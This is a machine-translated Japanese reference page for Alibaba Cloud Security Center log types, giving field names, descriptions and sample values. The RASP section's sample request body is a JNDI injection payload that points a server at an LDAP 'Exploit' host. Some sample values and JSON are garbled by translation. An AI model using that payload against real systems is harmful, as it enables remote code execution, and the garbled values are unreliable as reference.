Security Center:V2.0ログ辞書のログタイプとログフィールド

フィールド名

説明

例

response_content_length

メッセージ本文の長さ。 単位はバイトです。

612

dst_ip

宛先ホストのIPアドレス。

39.105.XX.XX

dst_port

宛先ホストのポート。

80

host

宛先ホストのIPアドレスまたはドメイン名。

39.105.XX.XX

jump_location

リダイレクトアドレス。

123

request_method

HTTP リクエストの方式。

GET

http_referer

HTTPリファラー。 このフィールドには、要求されているリソースにリンクされているwebページのURLが含まれます。

www.example.com

request_datetime

リクエストが開始された時刻。

2024-08-01 06:59:28

status

HTTP ステータスコード。

200

content_type

リクエストコンテンツのタイプ。

text/plain;charset=utf-8

response_content_type

応答コンテンツのタイプ。

text/plain; charset=utf-8

src_ip

送信元 IP アドレス。

31.220.XX.XX

src_port

送信元ポート。

59524

request_uri

URI リクエスト。

/レポート

http_user_agent

リクエストを開始するユーザーエージェント。

okhttp/3.2.0

http_x_forward_for

クライアントの送信元IPアドレスを記録するHTTPリクエストヘッダー。

31.220.XX.XX

フィールド名

説明

例

追加

DNSサーバーによって返され、CNAMEレコード、MXレコード、PTRレコードなどの情報を記録する追加フィールド。

非該当

additional_num

DNSサーバーによって返される追加レコードの数。

0

答え

DNSサーバーによって返されたDNS回答。解決結果を示します。 DNS回答には、要求されたドメイン名が解決されるIPアドレス、またはAレコードやAAAAレコードなどの他の情報が含まれます。

example.com A IN 52 1.2.XX.XX

answer_num

DNSの回答数。

1

権限

DNSサーバーによって返される権限フィールド。 権限は、ドメイン名を管理および解決するDNSサーバーです。 権限フィールドには、NSレコードなど、要求されたドメイン名のDNSレコードを提供するDNSサーバーに関する情報が含まれます。

17597のNS

authority_num

当局の数。

1

client_subnet

クライアントのサブネット。

59.152.XX.XX

dst_ip

送信先 IP アドレス。

106.55.XX.XX

dst_port

宛先ポート。

53

net_connect_dir

データ伝送の方向。 有効な値：

• in: DNSサーバーへのリクエスト

• out: DNSサーバーからの応答

アウト

qid

クエリのID。

13551

query_name

照会されるドメイン名。

example.com

query_type

クエリのタイプです。

A

query_datetime

クエリの時刻。

2024-08-01 08:33:58

rcode

DNSサーバーから返されたレスポンスコード。DNS解決結果を示します。

0

region

ソースリージョンのID。 有効な値：

• 1: 中国 (北京)

• 2: 中国 (チンタオ)

• 3: 中国 (杭州)

• 4: 中国 (上海)

• 5: 中国 (深セン)

• 6: その他のリージョン

1

response_datetime

DNSサーバーの応答時間。

2024-08-01 08:31:25

src_ip

送信元 IP アドレス。

106.11.XX.XX

src_port

送信元ポート。

22

フィールド名

説明

例

asset_type

ログが収集されるアセットのタイプ。 有効な値：

• ECS: Elastic Compute Service (ECS) インスタンス

• SLB: Server Load Balancer (SLB) インスタンス

• NAT: NAT Gateway

ECS

dst_ip

送信先 IP アドレス。

119.96.XX.XX

dst_port

宛先ポート。

443

net_connect_dir

セッションの方向。 値はoutとして固定されます。

• protoフィールドの値がtcpの場合、このフィールドの値はアウトバウンド要求を示します。

• protoフィールドの値がudpの場合、このフィールドの値はリクエストの方向を示すものではなく、参照専用です。

アウト

l4_proto

プロトコルのタイプ。 有効な値：

• tcp

• udp

tcp

session_time

セッションが開始される時刻。

2024-08-01 08:31:18

src_ip

送信元 IP アドレス。

121.40.XX.XX

src_port

送信元ポート。

53602

フィールド名

説明

例

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

src_ip

サーバーへのログオンに使用されるIPアドレス。

221.11.XX.XX

dst_port

サーバーへのログオンに使用されるポート。

22

login_type

ログインタイプ。 有効な値には、次の値が含まれます。

• SSHLOGINおよびSSH: SSHログイン

• RDPLOGIN: リモートデスクトップログイン

• IPCLOGIN: IPC接続ログオン

SSH

username

ログインに使用されるユーザー名。

admin

login_count

ログオン試行回数。

1分以内に繰り返されるログオン試行は、1つのログに記録されます。 たとえば、login_countフィールドの値が3の場合、1分以内に3回のログオン試行が行われました。

3

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

cmd_chain

プロセスチェーン。

[

{

"9883":"bash -c kill -0 -- '6274'"

}

......

]

cmd_chain_index

プロセスチェーンのインデックス。 インデックスを使用して、プロセスチェーンを検索できます。

B184

container_hostname

コンテナー内のサーバーの名前。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナID。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d ****

container_image_id

イメージ ID。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

The image name.

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナーの名前。The name of the container.

nginx-ingress-****

container_pid

コンテナ内のプロセスのID。

0

net_connect_dir

ネットワーク接続の方向。 有効な値：

• で

• アウト

in

dst_ip

送信先 IP アドレス。

• dirの値がoutの場合、このフィールドの値はピアホストのIPアドレスです。

• dirの値が [in] の場合、このフィールドの値はホストのIPアドレスです。

192.168.XX.XX

dst_port

宛先ポート。

443

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

parent_proc_name

親プロセスファイルの名前。

/usr/bin/bash

ピッド

プロセスのID。

14275

ppid

親プロセスID。

14268

proc_name

プロセスの名前。

nginx

proc_path

プロセスへのパス。

/usr/local/nginx/sbin/nginx

proc_start_time

プロセスが開始された時刻。

非該当

connection_type

プロトコル。 有効な値：

• tcp

• udp

• raw (rawソケットを示す)

tcp

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

src_ip

送信元 IP アドレス。

100.127.XX.XX

src_port

送信元ポート。

41897

srv_comm

親プロセスの親プロセスに関連付けられているコマンド名。

containerd-shim

status

ネットワーク接続のステータス。 有効な値：

• 1: 接続が閉じられています。

• 2: 接続を確立します。

• 3: SYNパケットが送信される。

• 4: SYNパケットを受信する。

• 5: 接続が確立されました。

• 6: 接続が閉じられるのを待っています。

• 7: 接続が閉じられています。

• 8: ローカルエンドポイントは、ピアエンドポイントからの接続終了要求の確認応答を待機しています。

• 9: ローカルエンドポイントは、ピアエンドポイントから確認応答を受信した後、ピアエンドポイントからの接続終了要求を待機しています。

• 10: ローカルエンドポイントは、ピアエンドポイントがローカルエンドポイントから確認応答を受信するのに十分な時間が経過するのを待っています。

• 11: 接続のTCBが削除されます。

5

type

リアルタイムネットワーク接続のタイプ。 有効な値：

• connect: TCP接続開始

• accept: 受信したTCP接続

• listen: ポートリスニング

聞く

uid

プロセスを開始したユーザーのID。

101

username

プロセスを開始したユーザーの名前。

root

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

ブルートフォース攻撃を受けているサーバーのIPアドレス。

192.168.XX.XX

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

uuid

ブルートフォース攻撃を受けているサーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 *****

login_count

失敗したログオン試行の回数。

1分以内に繰り返されるログオン試行は、1つのログに記録されます。 たとえば、warn_countフィールドの値が3の場合、1分以内に3回のログオン試行が行われました。

3

src_ip

送信元 IP アドレス。

47.92.XX.XX

dst_port

ログインポート。

22

login_type

ログインタイプ。 有効な値：

• SSHLOGINおよびSSH: SSHログイン

• RDPLOGIN: リモートデスクトップログイン

• IPCLOGIN: IPC接続ログオン

SSH

username

ログインに使用されるユーザー名。

user

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

account_expire

アカウントの有効期限が切れる日付。 値はnever、アカウントの有効期限が切れないことを示します。

決して

domain

アカウントが属するドメインまたはディレクトリ。 値N/Aは、アカウントがドメインに属していないことを示します。

非該当

グループ

アカウントが属するグループ。 値N/Aは、アカウントがグループに属していないことを示します。

["nscd"]

home_dir

ホームディレクトリ。システム内のファイルを保存および管理するためのデフォルトのディレクトリです。

/ユーザー /abc

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

last_chg

パスワードが最後に変更された日付。

2022-11-29

last_logon

アカウントを使用して開始された最後のログインの日時。 値N/Aは、アカウントがログオンに使用されていないことを示します。

2023-08-18 09:21:21

login_ip

アカウントを使用して最後にリモートログオンを開始したIPアドレス。 値N/Aは、アカウントがログオンに使用されていないことを示します。

192.168.XX.XX

passwd_expire

パスワードの有効期限が切れた日付。 never値は、パスワードの有効期限が切れないことを示します。

2024-08-24

パーマ

アカウントにroot権限があるかどうかを示します。 有効な値：

• 0: なし

• 1: はい

0

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

shell

Linuxシェルコマンド。

/sbin/nologin

status

アカウントのステータス。 有効な値：

• 0: アカウントからのログオンは許可されていません。

• 1: アカウントからのログオンが許可されます。

0

tty

ログオンしているターミナル。 N/Aの値は、アカウントが端末ログオンに使用されていないことを示します。

非該当

username

ユーザー名を指定します。

nscd

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

warn_time

期限切れのパスワードが通知された日付。 この値は、通知が送信されないことを示しません。

2024-08-20

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

net_connect_dir

ネットワーク接続の方向。 有効な値：

• で

• アウト

in

dst_ip

送信先 IP アドレス。

• dirの値がoutの場合、このフィールドの値はピアホストのIPアドレスです。

• dirの値が [in] の場合、このフィールドの値はホストのIPアドレスです。

192.168.XX.XX

dst_port

宛先ポート。

443

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

ピッド

プロセスのID。

682

proc_name

プロセスの名前。

sshd

connection_type

プロトコル。 有効な値：

• tcp4: IPv4アドレスを介したTCP接続

• tcp6: IPv6アドレスを介したTCP接続

• udp4: IPv4アドレスを介したUDP接続

• udp6: IPv6アドレスを介したUDP接続

tcp4

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

src_ip

送信元 IP アドレス。

100.127.XX.XX

src_port

送信元ポート。

41897

status

ネットワーク接続のステータス。 有効な値：

• 1: 接続が閉じられています。

• 2: 接続を確立します。

• 3: SYNパケットが送信される。

• 4: SYNパケットを受信する。

• 5: 接続が確立されました。

• 6: 接続が閉じられるのを待っています。

• 7: 接続が閉じられています。

• 8: ローカルエンドポイントは、ピアエンドポイントからの接続終了要求の確認応答を待機しています。

• 9: ローカルエンドポイントは、ピアエンドポイントから確認応答を受信した後、ピアエンドポイントからの接続終了要求を待機しています。

• 10: ローカルエンドポイントは、ピアエンドポイントがローカルエンドポイントから確認応答を受信するのに十分な時間が経過するのを待っています。

• 11: 接続のTCBが削除されます。

5

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

cmdline

プロセスを開始するための完了コマンド。

/usr/local/share/assist-daemon/assist_daemon

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

md5

バイナリファイルのMD5ハッシュ値。

1086e731640751c9802c19a7f53a64f5

proc_name

プロセスファイルの名前。

assist_daemon

proc_path

プロセスファイルへのフルパス。

/usr/local/share/assist-daemon/assist_daemon

ピッド

プロセスのID。

1692

pname

親プロセスファイルの名前。

systemd

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

proc_start_time

プロセスが開始された時刻。 これは組み込みのフィールドです。

2023-08-18 20:00:12

uid

プロセスを開始したユーザーのID。

101

username

プロセスを開始したユーザーの名前。

root

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

domain

DNSリクエストに含まれるドメイン名。

example.aliyundoc.com

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

host_ip

DNSリクエストを開始するサーバーのIPアドレス。

192.168.XX.XX

ピッド

DNSリクエストを開始するプロセスのID。

3544

ppid

DNSリクエストを開始する親プロセスのID。

3408

cmd_chain

DNS要求を開始するプロセスのチェーン。

"3544":"\" C :\\ プログラムファイル (x86)\\Alibaba\\Aegis\\AliDetect\\AlitDetect.exe \""

cmdline

DNS要求を開始するプロセスのコマンドライン。

C:\プログラムファイル (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

proc_path

DNS要求を開始するプロセスへのパス。

C:/プログラムファイル (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

time

DNSリクエストがキャプチャされた時刻。 ほとんどの場合、値はDNS要求が開始された時点です。

2023-08-17 20:05:04

uuid

DNS要求を開始するサーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

agent_version

Security Centerエージェントのバージョン。

aegis_11_91

last_login

最後のログインのタイムスタンプ。 単位：ミリ秒。

1716444387617

platform

オペレーティングシステムのタイプ。 有効な値：

• windows

• linux

linux

region_id

サーバーが存在するリージョンのID。

cn-beijing

status

Security Centerエージェントのステータス。 有効な値：

• online

• オフライン

online

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

vul_alias_name

脆弱性のエイリアス。

CESA-2023:1335: opensslセキュリティアップデート

risk_level

リスクレベル。 有効な値：

• できるだけ早く: 高い

• later: medium

• nntf: ロー

後で

extend_content

脆弱性に関する拡張情報。

{"cveList":["CVE-2023-0286"],"innessy":{"gmt_create":"20230816","connect_cnt":80,"total_score":0.0,"assets_factor":1.0,"enviroment_factor":1.5,"status":"normal"},"os":"centos","" preCheck ":{}、" rpmCanUpdate ":true、" rpmEntityList ":[{" fullVersion ":" 1.0.2 k-25.el7_9 "、" kernel ":false、" matchDetail ":" openssl-libs version less than 1.0.2 k-26.el7_9 "、" matchList ":[" openssl-libs version less than 1.0.2 "" 、"nextl" result "]" path ":"/etc/pki/tls "、" result ":true、" updateCmd ":" yum update openssl-libs "、" version ":" 1.0.2 k-25.el7_9 "},{" fullVersion ":" 1.0.2 k-25.el7_9 "、" kernel ":false、" matchDetail ":" openssl version less than 1.0.2 k-26.el7_9 "、" matchList ":[" opensslバージョン1.0.2未満のk-26.el7_9 "] 、" name ":" openssl "、" nextResult ":false、" path ":"/etc/pki/CA "、" result ":true、" updateCmd ":" yum update openssl "、" バージョン ":" 1.0.2 k-25.el7_9 "}}}}

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

internet_ip

ホストのパブリックIPアドレス。

39.104.XX.XX

intranet_ip

ホストのプライベートIPアドレス。

192.168.XX.XX

instance_name

ホスト名を示します。

hhht-linux-***

vul_name

脆弱性の名前。

centos:7:cesa-2023:1335

operation

脆弱性に対する操作。 有効な値：

• 新しい

• verify

• 修正

new

status

ステータス情報。 有効な値：

• 1: unfixed

• 2: 修正失敗

• 3: ロールバック失敗

• 4: 固定

• 5: ローリングバック

• 6: 検証

• 7: 固定

• 8: 固定および保留中の再起動

• 9: ロールバック

• 10: 無視

• 11: ロールバックと保留中の再起動

• 12: もはや存在しません

• 13: 期限切れ

1

tag

脆弱性に追加されたタグ。 有効な値：

• oval: Linuxソフトウェアの脆弱性

• system: Windowsシステムの脆弱性

• cms: Web CMSの脆弱性

  説明

  ランダムな文字列は、他の種類の脆弱性を示します。

オーバル

type

脆弱性のタイプ。 有効な値：

• sys: Windowsシステムの脆弱性

• cve: Linuxソフトウェアの脆弱性

• cms: Web CMSの脆弱性

• emg: 緊急の脆弱性

sys

uuid

サーバーのUUID。

ad66133a-dc82-4e5e-9659-a49e3 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

check_item_name

チェックアイテムの名前。

パスワード変更の最短間隔を設定する

check_item_level

ベースラインのリスクレベル。 有効な値：

• 高い

• 中程度

• 低い

medium

check_type

チェックアイテムのタイプ。

ID 認証

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

risk_level

リスク項目の重大度。 有効な値：

• 高い

• 中程度

• 低い

medium

operation

操作。 有効な値：

• 新しい

• verity

new

risk_name

リスクアイテムの名前。

パスワード遵守チェック

sas_group_name

Security Center内のサーバーが属するサーバーグループ。 リスク項目がサーバーで検出されます。

default

status

ステータス情報。 有効な値：

• 1: unfixed

• 2: 修正失敗

• 3: ロールバック失敗

• 4: 固定

• 5: ローリングバック

• 6: 検証

• 7: 固定

• 8: 固定および保留中の再起動

• 9: ロールバック

• 10: 無視

• 11: ロールバックと保留中の再起動

• 12: もはや存在しません

• 13: 期限切れ

1

sub_type_alias_name

中国語のサブタイプのエイリアス。

国際的に合意されたセキュリティのベストプラクティス-Ubuntu 16/18/20/22セキュリティベースラインチェック

sub_type_name

サブタイプの名前。 ベースラインサブタイプの詳細については、「ベースラインタイプとサブタイプ」をご参照ください。

hc_ubuntu16_cis_rules

type_alias_name

中国语のチェックタイプのエイリアス。

セキュリティのための国際的に合意されたベストプラクティス

type_name

ベースラインのタイプ。 ベースラインタイプの詳細については、「ベースラインタイプとサブタイプ」をご参照ください。

シス

uuid

リスク項目が検出されたサーバーのUUID。

1ad66133a-dc82-4e5e-9659-a49e3 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

data_source

データソース。 有効な値：

• aegis_suspicious_event: ホスト例外

• aegis_suspicious_file_v2: webshells

• aegis_login_log: 異常なログオン

• honeypot: クラウドハニーポットによって生成されたアラートイベント

• object_scan: ファイル検出例外

• security_event: セキュリティセンターの例外

• sas_ak_leak: AccessKeyペアがリーク

aegis_login_log

詳細

アラートの詳細。

{"loginSourceIp":"221.11.XX.XX" 、"loginDestinationPort":22、"loginUser":"root" 、"protocol":2、"protocolName":"SSH" 、"clientIp":"192.168.XX.XX" 、"loginTimes":1、"location":"Xi'an" 、"type" 「珍しいアカウントを使用したECSインスタンスへのログイン」、「status」: 0}

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

internet_ip

ホストのパブリックIPアドレス。

39.104.XX.XX

intranet_ip

ホストのプライベートIPアドレス。

192.168.XX.XX

level

アラートのリスクレベル。 有効な値：

• 深刻な

• 疑わしい

• 思い出させる

疑わしい

name

アラートの名前。

異常なログイン-異常なアカウントを使用したECSインスタンスへのログイン

operation

操作。 有効な値：

• 新しい

• 取引

• 更新

new

status

アラートのステータス。 有効な値：

• 0: すべて

• 1: 保留中の処理

• 2: 無視

• 4: 確認済み

• 8: 偽陽性としてマーク

• 16: 処理中

• 32: 扱われる

• 64: 期限切れ

• 128: 削除済み

• 512: 自動的にブロックされる

• 513: 自動的にブロック

1

unique_info

アラートのUUID。

2536dd765f804916a1fa3b9516b5 ****

uuid

アラートが生成されるサーバーのUUID。

ad66133a-dc82-4e5e-9659-a49e3 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

check_id

チェックアイテムのID。 ListCheckResult操作を呼び出して、チェック項目のIDを照会できます。 この操作は、クラウドサービスの設定チェックで検出されたリスク項目の詳細を照会するために使用されます。

11

check_item_name

チェックアイテムの名前。

Back-to-origin 設定

instance_id

インスタンスのID。

i-2zeg4zldn8zypsfg ****

instance_name

インスタンスの名前です。

lsm

instance_result

リスクの影響。 値はJSON文字列です。

{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,"searchKey":"RegionIdKey","showName":"Region","type":"text" },{ "key":"InstanceIdShow","search":true,"" Instance ID "," type ":" link "},{" key ":" InstanceNameShow "," search ":true," searchKey ":" InstanceNameKey "," showName ":" Instance Name "," type ":" text "}]}

instance_sub_type

インスタンスのサブタイプ。 有効な値：

• インスタンスのタイプがECSの場合、次の有効な値がサポートされます。

  • INSTANCE

  • ディスク

  • セキュリティ_グループ

• インスタンスのタイプがContainer Registryの場合、次の有効な値がサポートされます。

  • リポジトリ_エンタープライズ

  • リポジトリ_人

• インスタンスのタイプがResource Access Management (RAM) の場合、次の有効な値がサポートされます。

  • アリアス

  • ユーザー

  • ポリシー

  • グループ

• インスタンスのタイプがWebアプリケーションファイアウォール (WAF) の場合、値はDOMAINに固定されます。

• インスタンスのタイプが他の値の場合、値はinstanceとして固定されます。

INSTANCE

instance_type

インスタンスのタイプ。 有効な値：

• ECS

• SLB

• RDS: ApsaraDB RDS

• MONGODB: ApsaraDB for MongoDB

• KVSTORE: ApsaraDB for Redis

• ACR: Container Registry

• CSK: Container Service for Kubernetes (ACK)

• VPC: 仮想プライベートクラウド (VPC)

• ACTIONTRAIL: ActionTrail

• CDN: Alibaba Cloud CDN (CDN)

• CAS: 証明書管理サービス (旧SSL証明書サービス)

• RDC: Apsara Devops

• RAM

• DDOS: Anti-DDoSプロキシ

• WAF

• OSS

• POLARDB: PolarDB

• POSTGRESQL: ApsaraDB RDS for PostgreSQL

• MSE: マイクロサービスエンジン (MSE)

• NAS: File Storage NAS (NAS)

• SDDP: 機密データの検出と保護 (SDDP)

• EIP: Elastic IPアドレス (EIP)

ECS

region_id

インスタンスのリージョン ID です。

cn-hangzhou

requirement_id

要件アイテムID。 ListCheckStandard操作を呼び出して、要件項目のIDを照会できます。 この操作は、構成チェックの標準を照会するために使用される。

5

risk_level

リスクレベル。 有効な値：

• ロー

• MEDIUM

• 高い

ミディアム

section_id

セクションID。 ListCheckResult操作を呼び出して、セクションIDを照会できます。

1

standard_id

標準ID。 ListCheckStandard操作を呼び出して、標準IDを照会できます。

1

status

チェックアイテムのステータス。 有効な値：

• NOT_CHECK: チェック項目はチェックされていません。

• CHECKING: チェックアイテムがチェック中です。

• PASS: チェックアイテムがチェックに合格しました。

• NOT_PASS: チェック項目がチェックに失敗しました。

• ホワイトリスト: チェック項目がホワイトリストに追加されます。

パス

ベンダー

クラウドサービスプロバイダー。 値はALIYUNとして固定されます。

ALIYUN

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

cmd

攻撃されたプロセスのコマンドライン。

nginx: マスタープロセスnginx

cur_time

攻撃イベントが発生した時刻。

2023-09-14 09:21:59

decode_payload

デコードされた16進ペイロード。

POST /サービス /FileService/UserFiles /

dst_ip

攻撃されたアセットのIPアドレス。

172.16.XX.XX

dst_port

攻撃された資産のポート。

80

func

ブロックされたイベントのタイプ。 有効な値: 有効な値:

• payload: 悪意のあるデータまたは命令が検出されたときにイベントがブロックされることを示します。

• tuple: 悪意のあるIPアドレスが検出されたときにイベントがブロックされることを示します。

payload

rule_type

ブロックされたイベントで使用されるルールのタイプ。 有効な値：

• alinet_payload: Security Centerで指定されているpayload防御ルールを示します。

• alinet_tuple: セキュリティセンターで指定されているタプル防御ルールを示します。

alinet_payload

instance_id

攻撃されたアセットのインスタンスID。

i-2zeg4zldn8zypsfg ****

internet_ip

攻撃されたアセットのパブリックIPアドレス。

39.104.XX.XX

intranet_ip

攻撃されたアセットのプライベートIPアドレス。

192.168.XX.XX

final_action

防衛アクション。 値はブロックとして固定されます。 値は、攻撃がブロックされていることを示します。

block

payload

16進ペイロード。

504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20 ****

ピッド

攻撃されたプロセスのID。

7107

platform

攻撃されたアセットのオペレーティングシステムのタイプ。 有効な値：

• 勝つ

• linux

linux

proc_path

攻撃されたプロセスへのパス。

/usr/sbin/nginx

sas_group_name

セキュリティセンター内のサーバーが属するアセットグループ。

default

src_ip

攻撃の送信元IPアドレス。

106.11.XX.XX

src_port

攻撃の送信元ポート。

29575

uuid

サーバーのUUID。

5d83b26b-b7ca-4a0a-9267-12 ****

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

app_dir

アプリケーションが保存されているディレクトリ。

/usr/local/aegis/rasp/apps/1111

app_id

アプリケーションの ID

6492a391fc9b4e2aad94 ****

app_name

アプリケーションの名前。

test

コンフィデンスレベル

検出アルゴリズムの信頼レベル。 有効な値：

• 高い

• 中程度

• 低い

low

request_body

リクエストボディに関する情報。

{"@ type":" com.sun.rowset.JdbcRowSetImpl ","dataSourceName":"ldap:// 172.220.XX.XX.XX:1389/Exploit","autoCommit":true}

request_content_length

リクエスト本文の長さ。

112

data

フック。

{"cmd":"bash -c kill -0 -- -'31098'"}

headers

リクエストヘッダーに関する情報。

{"content-length":"112","referer":"http:// 120.26.XX.XX:8080 /デモ /シリアル","accept-language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","origin":"http:// 120.26.XX.XX:8080" 、"host":"120.26.XX.XX:8080" 、"content-type":"application/json" 、"connection":"keep-alive" 、"x-forwarded-for":"1.1.XX.XX" 、"accept-encoding":"gzip、deflate","user-agent":"msnbot","accept":"application/json, text/plain, */*"}

hostname

ホストまたはネットワークデバイスの名前。

testthostname

host_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

is_cliped

長すぎるためにログが切り捨てられるかどうかを示します。 有効な値：

• true

• false

false

jdk_version

JDKのバージョン。

1.8.0_292

message

アラートの説明。

安全でないクラスシリアル。

request_method

リクエスト方式。

Post

platform

オペレーティングシステムのタイプ。

Linux

アーチ

オペレーティングシステムのアーキテクチャ。

amd64

kernel_version

オペレーティングシステムのカーネルバージョン。

3.10.0-1160.59.1。el7.x86_64

param

リクエストパラメーター。 ほとんどの場合、パラメーターは次のいずれかの形式になります。

• GETパラメーター

• application/x-www-form-urlencoded

{"url":["http:// 127.0.0.1.xip.io"]}

payload

攻撃ペイロード。

bash -c kill -0 -- '31098'

payload_length

攻撃ペイロードの長さ。

27

rasp_id

Runtime Application Self Protection (RASP) エージェントのID。

fa00223c8420e256c0c98ca0bd0d ****

rasp_version

RASPエージェントのバージョン。

0.8.5

src_ip

リクエストが開始されたIPアドレス。

172.0.XX.XX

final_action

アラートの処理結果。 有効な値：

• ブロック

• モニター

block

rule_action

アプリケーション保護ルールで指定されているアラート処理アクション。 有効な値：

• ブロック

• モニター

block

risk_level

リスクレベル。 有効な値：

• 高い

• 中程度

• 低い

high

stacktrace

スタック情報。

[java.io.FileInputStream.<init>(FileInputStream.java:123) 、java.io.FileInputStream.<init>(FileInputStream.java:93) 、com.example.vulns.controller.FileController.IORead(FileController.java:75) 、sun.reflect. NativeMethodAccessorsun. 62)......]

time

アラートが生成された時刻。

2023-10-09 15:19:15

timestamp

アラートが生成されたときのタイムスタンプ。 単位：ミリ秒。

1696835955070

type

脆弱性のタイプ。 有効な値：

• attach: 悪意のあるAttach API

• beans: 悪意のあるbeansバインディング

• clasloader: 悪意のあるクラスの読み込み

• danger_protocol: 脆弱なプロトコルの使用

• dns: 悪意のあるDNSクエリ

• エンジン: エンジン噴射

• expression: 式インジェクション

• file: 悪意のあるファイルの読み取りと書き込み

• file_delete: 任意のファイル削除

• file_list: ディレクトリトラバーサル

• file_read: 任意のファイル読み取り

• file_upload: 悪意のあるファイルのアップロード

• jndi: Java Naming and Directory Interface (JNDI) インジェクション

• jni: Java Native Interface (JNI) インジェクション

• jstl: JavaServer Pages Standard Tag Library (JSTL) の任意のファイル包含

• memory_shell: インメモリwebshellインジェクション

• rce: コマンドの実行

• read_object: 逆シリアル化攻撃

• reflect: 悪意のあるリフレクション呼び出し

• sql: SQLインジェクション

• ssrf: 悪意のある外部接続

• thread_inject: スレッド注入

• xxe: XML外部エンティティ (XXE) 攻撃

rce

url

リクエストのURL。

http:// 127.0.0.1:999/xxx

rasp_attack_uuid

脆弱性のUUID。

18823b23-7ad4-47c0-b5ac-e5f036a2 ****

uuid

ホストのUUID。

23f7ca61-e271-4a8e-bf5f-165596a16 ****

internet_ip

インスタンスのパブリック IP アドレスです。

1.2.XX.XX

intranet_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

sas_group_name

セキュリティセンター内のサーバーが属するグループ。

グループ1

instance_id

ホストのインスタンスID。

i-wz995eivg28f1m**

start_time

開始タイムスタンプ。イベントが発生した時刻を示します。 単位は秒です。

1719472214

フィールド名

説明

例

bucket_name

OSS バケットの名前。

***-テスト

event_id

アラートの ID。

802210

event_name

アラートの名前。

マイニングプログラム

md5

ファイルのMD5ハッシュ値。

6bc2bc ****** 53d409b1

sha256

ファイルのSHA-256ハッシュ値。

f038f9525 ****** 7772981e87f85

result

検出結果。 有効な値：

• 0: 不正ファイルが検出されません。

• 1: 悪意のあるファイルが検出されました。

0

file_path

ファイルへのパス。

test.zip/bin_test

etag

OSSオブジェクトのID。

6BC2B ****** 853D409B1

risk_level

リスクレベル。 有効な値：

• 深刻な

• 疑わしい

• 思い出させる

思い出させる

source

チェック方法。

• OSS: OSSバケット内のオブジェクトは、Security Centerコンソールでチェックされます。

• API: SDK for JavaまたはPythonは、悪意のあるファイルを検出するために使用されます。

OSS

parent_md5

親ファイルまたは圧縮パッケージファイルのMD5ハッシュ値。

3d0f8045bb9 ******

parent_sha256

親ファイルまたは圧縮パッケージファイルのSHA-256ハッシュ値。

69b643d6 ****** a3fb859fa

parent_file_path

親ファイルまたは圧縮パッケージファイルの名前。

test.zip

start_time

